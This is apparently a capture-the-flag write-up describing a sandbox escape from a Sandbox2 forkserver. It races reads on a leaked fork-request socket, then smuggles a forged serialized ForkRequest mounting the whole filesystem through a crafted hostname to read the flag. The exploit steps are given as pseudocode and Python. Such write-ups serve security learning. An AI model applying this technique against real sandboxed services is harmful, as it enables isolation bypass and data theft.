We can execute arbitrary payloads (up to 5 at a time) in a Sandbox2 based sandbox. The payloads are started one after another but without waiting for the previous one to finish execution. We can have multiple payloads executing in parallel. Additionally we can set a custom hostname for each of the payloads.
Seccomp policy only allows read/write/open/exit and mntns is empty.
The challenge sets up a Sandbox2 custom forkserver in an unusual way. This leads to leaking the socket fd used to receive fork requests into the payload.
The wire format uses Tag-Lenght-Value encoding and protos are sent in serialized form.
We cannot use the leaked fd to just send a new fork request to launch a payload with the whole fs available. But we can read (races with read in the forkserver) part of the original request sent to launch the next payload.
Moreover we have quite good control of part of that original request through the hostname. The only constraint is that the hostname cannot contain '\n' (0x0A).
Crucial part is however that the forkserver needs to read the whole original request as it expect messages that pass file descriptors to follow it. We can either just use the suffix of the encoded proto verbatim or if needed hide it in a string/bytes field of our "fake" ForkRequest.
Ask to run 2 payloads:
-
Hostname: don't care. Payload:
char buf[128] kSocket = 4 r = read(kSocket, buf, 128) write(1, buf, r)
-
Hostname: a unique value. Payload: dummy (
exit(0)
/infloop
/etc)
kPrefix
= offset of the unique hostname in the request read by the first
payload.
kSuffix
= len(stuff read) - kPrefix - len(unique hostname)
Ask to run 2 payloads:
-
Hostname: don't care. Payload:
fd = read(kSocket, kPrefix) stage2_addr = &stage2 write(fd, stage2_addr, &$RSP[return_address_offset]) exit(0)
-
Hostname crafted as:
fork_request = ForkRequest() fork_request.clone_flags = 0x20000000 | 0x10000000 | 0x20000 fork_request.mode = FORKSERVER_FORK fork_request.mount_tree.node.dir_node.outside = "/" fork_str = fork_request.SerializeToString() return p32(kTagProto2) + p64(len(fork_str)+kSuffix) + fork_str
Payload:
char buf[128] open('flag', O_RDONLY) read(flag, buf, 128) write(1, buf, 128)